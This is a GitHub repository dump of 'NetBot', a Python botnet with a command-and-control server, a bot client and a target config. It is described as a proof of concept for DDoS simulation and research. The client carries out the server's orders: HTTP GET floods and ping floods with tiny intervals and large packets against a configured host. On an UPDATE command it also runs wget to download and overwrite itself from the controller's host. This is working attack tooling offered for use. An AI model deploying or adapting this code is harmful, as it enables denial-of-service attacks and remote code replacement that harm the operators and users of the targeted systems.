├── README.md ├── netbot_client.py ├── netbot_config.py ├── netbot_server.PNG └── netbot_server.py /README.md: -------------------------------------------------------------------------------- 1 | # NetBot 2 | A versatile command and control center (CCC) for DDoS Botnet Attack Simulation & Load Generation. 3 | 4 | **Disclaimer** 5 | --- 6 | 7 | _The use of this software and scripts downloaded on this repository is done at your own discretion and risk and with agreement that you will be solely responsible for any damage to your or other computer system or availability disruption that results from such activities. You are solely responsible for the usage in connection with any of the software, and the author will not be liable for any damages that you may suffer or incur availability disruption on other systems in connection with using, modifying or distributing any of this software. No advice or information, whether oral or written, obtained by you from the author or from this website shall create any warranty for the software._ 8 | 9 | What is _NetBot_? 10 | -- 11 | - Proof-of-Concept code that simulates a Client-Server botnet environment. 12 | - Easily helps setting up a botnet chain that reports to your CCC. 13 | - Assists in simulating DDoS attacks towards the target. (_Experimental/Research Usage Only_) 14 | 15 | Requirements 16 | -- 17 | - Python 3 18 | 19 | Supports 20 | -- 21 | - Tested on Debian, Ubuntu, CentOS and MacOS High Sierra. 22 | 23 | FYI - *Prototype Warning* 24 | -- 25 | - This is simply a prototype code and may not fully work up to your expectations. Feel free to fork the project and modify it to meet your needs. 26 | - Currently working on making it more robust execution, look and feel features. 27 | - (_under development_) more attack vectors and variants. (_as of now supports HTTP Flooding & Ping Flood only._) 28 | 29 | 30 | Source Code 31 | -- 32 | - _netbot_server.py_ : This is the actual CCC Server. 33 | - _netbot_config.py_ : CCC loads the information about the targets to attack. 34 | - _netbot_client.py_ : This is the client code (bots). 35 | 36 | How do I setup/test _NetBot_? 37 | -- 38 | - You can test this software in a single machine itself, but the ultimate point of this software to deploy the client (bots) on different machines and the server code (CCC) on your machine. 39 | - **very important** Make sure you modify the CCC server address on the _netbot_client.py_ code, else the bots will not connect to your CCC. 40 | - More to be added in Wiki section soon. 41 | 42 | 43 | 44 | NetBot CCC Server 45 | -- 46 | ![netbot intro](https://raw.githubusercontent.com/skavngr/netbot/main/netbot_server.PNG) 47 | -------------------------------------------------------------------------------- /netbot_client.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | # 4 | # Author : Shankar Narayana Damodaran 5 | # Tool : NetBot v1.0 6 | # 7 | # Description : This is a command & control center client-server code. 8 | # Should be used only for educational, research purposes and internal use only. 9 | # 10 | 11 | import socket 12 | import time 13 | import threading 14 | import time 15 | #import requests 16 | import os 17 | import urllib.request 18 | import subprocess 19 | import signal 20 | 21 | 22 | 23 | class launchAttack: 24 | 25 | def __init__(self): 26 | self._running = True 27 | 28 | def terminate(self): 29 | self._running = False 30 | 31 | def run(self, n): 32 | run = 0 33 | #terminate = 0 34 | if n[3]=="HTTPFLOOD": 35 | while self._running and attackSet: 36 | url_attack = 'http://'+n[0]+':'+n[1]+'/' 37 | u = urllib.request.urlopen(url_attack).read() 38 | time.sleep(int(n[4])) 39 | 40 | if n[3]=="PINGFLOOD": 41 | while self._running: 42 | if attackSet: 43 | if run == 0: 44 | url_attack = 'ping '+n[0]+' -i 0.0000001 -s 65000 > /dev/null 2>&1' 45 | pro = subprocess.Popen(url_attack, stdout=subprocess.PIPE, shell=True, preexec_fn=os.setsid) 46 | run = 1 47 | else: 48 | if run == 1: 49 | os.killpg(os.getpgid(pro.pid), signal.SIGTERM) 50 | run = 0 51 | break 52 | 53 | 54 | 55 | def Main(): 56 | 57 | #Flags 58 | global attackSet 59 | attackSet = 0 60 | global updated 61 | updated = 0 62 | global terminate 63 | terminate = 0 64 | 65 | 66 | host = '192.168.0.174' # NetBot CCC Server 67 | port = 5555 # NetBot CCC Port 68 | 69 | s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) # Establishing a TCP Connection 70 | try: 71 | s.connect((host,port)) # Connect to the CCC Server 72 | message = "HEARTBEAT" # Sends Alive Pings to CCC Server 73 | 74 | except: 75 | print("CCC Server not online. Retrying every 15 seconds...") 76 | updated = 0 77 | time.sleep(15) 78 | Main() 79 | 80 | while True: 81 | 82 | # message sent to server 83 | try: 84 | s.send(message.encode()) # use a try catch 85 | 86 | except: 87 | Main() 88 | # message received from server 89 | data = s.recv(1024) 90 | 91 | # print the received message 92 | #print('CCC Response:',str(data.decode())) 93 | 94 | data = str(data.decode()) 95 | data = data.split('_') 96 | #print('CCC Response: ', data) #check list empty code 97 | if len(data) > 1: 98 | 99 | attStatus = data[2] 100 | attHost = data[0] 101 | attPort = data[1] 102 | else: 103 | attStatus = "OFFLINE" 104 | 105 | 106 | print('CCC Response: ', attStatus) 107 | 108 | if attStatus == "LAUNCH": 109 | if attackSet == 0: 110 | # start a new thread and start the attack (create a new process) 111 | attackSet = 1 112 | c = launchAttack() 113 | t = threading.Thread(target = c.run, args =(data, )) 114 | t.start() 115 | 116 | else: 117 | time.sleep(15) 118 | if t.is_alive(): 119 | print('Attack in Progress...') 120 | #else: 121 | continue 122 | elif attStatus == "HALT": 123 | attackSet = 0 124 | time.sleep(30) 125 | continue 126 | elif attStatus == "HOLD": 127 | attackSet = 0 128 | print('Waiting for Instructions from CCC. Retrying in 30 seconds...') 129 | time.sleep(30) 130 | elif attStatus == "UPDATE": 131 | if updated == 0: 132 | attackSet = 0 133 | os.system('wget -N http://192.168.0.174/netbot_client.py -O netbot_client.py > /dev/null 2>&1') 134 | print('Client Libraries Updated') 135 | updated = 1 136 | time.sleep(30) 137 | else: 138 | time.sleep(30) 139 | else: 140 | attackSet = 0 141 | print('Command Server Offline. Retrying in 30 seconds...') 142 | updated = 0 143 | time.sleep(30) 144 | # close the connection 145 | s.close() 146 | 147 | if __name__ == '__main__': 148 | Main() -------------------------------------------------------------------------------- /netbot_config.py: -------------------------------------------------------------------------------- 1 | ATTACK_TARGET_HOST = "192.168.0.105" # IP address of the machine to be attacked. 2 | ATTACK_TARGET_PORT = "3000" # Port Number of the machine to be attacked. 3 | 4 | ################################################################################# 5 | 6 | # Type of Attacks (Other Attacks are not yet supported) 7 | #HTTPFLOOD - Floods the target system with GET requests. (PORT and DELAY parameters required) 8 | #PINGFLOOD - Floods the target system with ICMP echo requests. (PORT AND DELAY parameters not required) 9 | 10 | ATTACK_TYPE = "PINGFLOOD" 11 | 12 | # Number of seconds delay between the burst of requests. 0 for No Delay 13 | ATTACK_BURST_SECONDS = "0" 14 | 15 | ################################################################################# 16 | 17 | #Status codes that has to be set from the below list. 18 | # HALT - To stop attacks immediately. 19 | # LAUNCH - To immediately start the attack. 20 | # HOLD - Wait for command. 21 | # UPDATE - Update Client. 22 | 23 | ATTACK_CODE = "HALT" # Choose any one Flag from above 24 | 25 | ################################################################################# 26 | 27 | 28 | ATTACK_STATUS = ATTACK_TARGET_HOST + "_" + ATTACK_TARGET_PORT + "_" + ATTACK_CODE + "_" + ATTACK_TYPE + "_" + ATTACK_BURST_SECONDS 29 | -------------------------------------------------------------------------------- /netbot_server.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/skavngr/netbot/c63de449bd40c9a4479e0d3a6516c9da2b9348ab/netbot_server.PNG -------------------------------------------------------------------------------- /netbot_server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | # 4 | # Author : Shankar Narayana Damodaran 5 | # Tool : NetBot v1.0 6 | # 7 | # Description : This is a command & control center client-server code. 8 | # Should be used for educational, research purposes and internal use only. 9 | # 10 | 11 | 12 | 13 | import socket 14 | import threading 15 | from termcolor import colored 16 | from importlib import reload 17 | 18 | print (""" ______ ______ 19 | | ___ \ _ (____ \ _ 20 | | | | | ____| |_ ____) ) ___ | |_ 21 | | | | |/ _ ) _)| __ ( / _ \| _) 22 | | | | ( (/ /| |__| |__) ) |_| | |__ 23 | |_| |_|\____)\___)______/ \___/ \___)1.0 from https://github.com/skavngr 24 | """) 25 | 26 | 27 | def config(): 28 | import netbot_config 29 | netbot_config = reload(netbot_config) 30 | return netbot_config.ATTACK_STATUS 31 | 32 | 33 | def threaded(c): 34 | while True: 35 | data = c.recv(1024) 36 | if not data: 37 | global connected 38 | connected = connected - 1; 39 | print('\x1b[0;30;41m' + ' Bot went Offline! ' + '\x1b[0m','Disconnected from CCC :', c.getpeername()[0], ':', c.getpeername()[1], '\x1b[6;30;43m' + ' Total Bots Connected:', connected, '\x1b[0m') 40 | break 41 | c.send(config().encode()) 42 | 43 | #c.close() #No issues commented earlier. 44 | 45 | 46 | def Main(): 47 | host = "0.0.0.0" 48 | port = 5555 49 | global connected 50 | connected = 0 51 | 52 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 53 | s.bind((host, port)) 54 | s.listen(50) 55 | while True: 56 | 57 | c, addr = s.accept() 58 | connected = connected + 1; 59 | print('\x1b[0;30;42m' + ' Bot is now Online! ' + '\x1b[0m','Connected to CCC :', addr[0], ':', addr[1], '\x1b[6;30;43m' + ' Total Bots Connected:', connected, '\x1b[0m') 60 | 61 | threading.Thread(target=threaded, args=(c,)).start() 62 | 63 | #s.close() #No issues uncommented earlier. 64 | 65 | 66 | if __name__ == '__main__': 67 | Main() 68 | --------------------------------------------------------------------------------